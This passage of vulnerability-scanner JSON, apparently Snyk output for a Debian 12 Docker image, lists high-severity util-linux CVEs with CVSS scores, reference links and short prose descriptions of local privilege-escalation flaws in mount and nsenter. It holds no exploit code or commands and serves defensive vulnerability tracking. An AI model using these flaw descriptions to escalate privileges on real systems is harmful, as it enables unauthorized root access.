"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nA flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78410](https://security-tracker.debian.org/tracker/CVE-2026-78410)\n- [https://access.redhat.com/security/cve/CVE-2026-78410](https://access.redhat.com/security/cve/CVE-2026-78410)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522684](https://bugzilla.redhat.com/show_bug.cgi?id=2522684)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m](https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m)\n",
"epssDetails": {
"percentile": "0.04035",
"probability": "0.00156",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78410"
],
"CWE": [
"CWE-367"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:53:31.733841Z",
"disclosureTime": "2026-09-02T16:17:23.983000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:53:31.735935Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:20.877082Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/util-linux-extra@2.38.1-5+deb12u3",
"util-linux/libsmartcols1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libsmartcols1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513270",
"cpes": [],
"title": "Detection of Error Condition Without Action",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-76642",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-76642"
},
{
"url": "https://github.com/util-linux/util-linux",
"title": "https://github.com/util-linux/util-linux"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892"
},
{
"url": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a",
"title": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a"
},
{
"url": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc",
"title": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc"
},
{
"url": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf",
"title": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf"
},
{
"url": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper",
"title": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nutil-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-76642](https://security-tracker.debian.org/tracker/CVE-2026-76642)\n- [https://github.com/util-linux/util-linux](https://github.com/util-linux/util-linux)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892)\n- [https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a](https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a)\n- [https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc](https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc)\n- [https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf](https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf)\n- [https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper](https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f](https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f)\n",
"epssDetails": {
"percentile": "0.10694",
"probability": "0.00216",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76642"
],
"CWE": [
"CWE-390"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:50:34.412915Z",
"disclosureTime": "2026-09-03T13:06:08.440000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:50:34.418355Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:11.362496Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/util-linux-extra@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/util-linux-extra",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513278",
"cpes": [],
"title": "Missing Release of File Descriptor or Handle after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.9,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78408",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78408"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78408",
"title": "https://access.redhat.com/security/cve/CVE-2026-78408"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/09/05/2",
"title": "http://www.openwall.com/lists/oss-security/2026/09/05/2"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 6.6,
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78408](https://security-tracker.debian.org/tracker/CVE-2026-78408)\n- [https://access.redhat.com/security/cve/CVE-2026-78408](https://access.redhat.com/security/cve/CVE-2026-78408)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522497](https://bugzilla.redhat.com/show_bug.cgi?id=2522497)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [http://www.openwall.com/lists/oss-security/2026/09/05/2](http://www.openwall.com/lists/oss-security/2026/09/05/2)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj](https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj)\n",
"epssDetails": {
"percentile": "0.07392",
"probability": "0.00186",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78408"
],
"CWE": [
"CWE-775"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:51:54.147974Z",
"disclosureTime": "2026-09-02T16:17:23.687000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:51:54.149932Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:16.366429Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/util-linux-extra@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/util-linux-extra",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513283",
"cpes": [],
"title": "Link Following",
"CVSSv3": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78409",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78409"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78409",
"title": "https://access.redhat.com/security/cve/CVE-2026-78409"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78409](https://security-tracker.debian.org/tracker/CVE-2026-78409)\n- [https://access.redhat.com/security/cve/CVE-2026-78409](https://access.redhat.com/security/cve/CVE-2026-78409)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522607](https://bugzilla.redhat.com/show_bug.cgi?id=2522607)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv](https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv)\n",
"epssDetails": {
"percentile": "0.03788",
"probability": "0.00154",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78409"
],
"CWE": [
"CWE-59"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:52:29.071961Z",
"disclosureTime": "2026-09-02T16:17:23.833000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:52:29.074465Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:04.159247Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/util-linux-extra@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/util-linux-extra",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513290",
"cpes": [],
"title": "Time-of-check Time-of-use (TOCTOU)",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78410",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78410"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78410",
"title": "https://access.redhat.com/security/cve/CVE-2026-78410"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nA flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78410](https://security-tracker.debian.org/tracker/CVE-2026-78410)\n- [https://access.redhat.com/security/cve/CVE-2026-78410](https://access.redhat.com/security/cve/CVE-2026-78410)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522684](https://bugzilla.redhat.com/show_bug.cgi?id=2522684)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m](https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m)\n",
"epssDetails": {
"percentile": "0.04035",
"probability": "0.00156",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78410"
],
"CWE": [
"CWE-367"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:53:31.733841Z",
"disclosureTime": "2026-09-02T16:17:23.983000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:53:31.735935Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:20.877082Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/util-linux-extra@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/util-linux-extra",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513270",
"cpes": [],
"title": "Detection of Error Condition Without Action",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-76642",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-76642"
},
{
"url": "https://github.com/util-linux/util-linux",
"title": "https://github.com/util-linux/util-linux"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892"
},
{
"url": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a",
"title": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a"
},
{
"url": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc",
"title": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc"
},
{
"url": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf",
"title": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf"
},
{
"url": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper",
"title": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nutil-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-76642](https://security-tracker.debian.org/tracker/CVE-2026-76642)\n- [https://github.com/util-linux/util-linux](https://github.com/util-linux/util-linux)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892)\n- [https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a](https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a)\n- [https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc](https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc)\n- 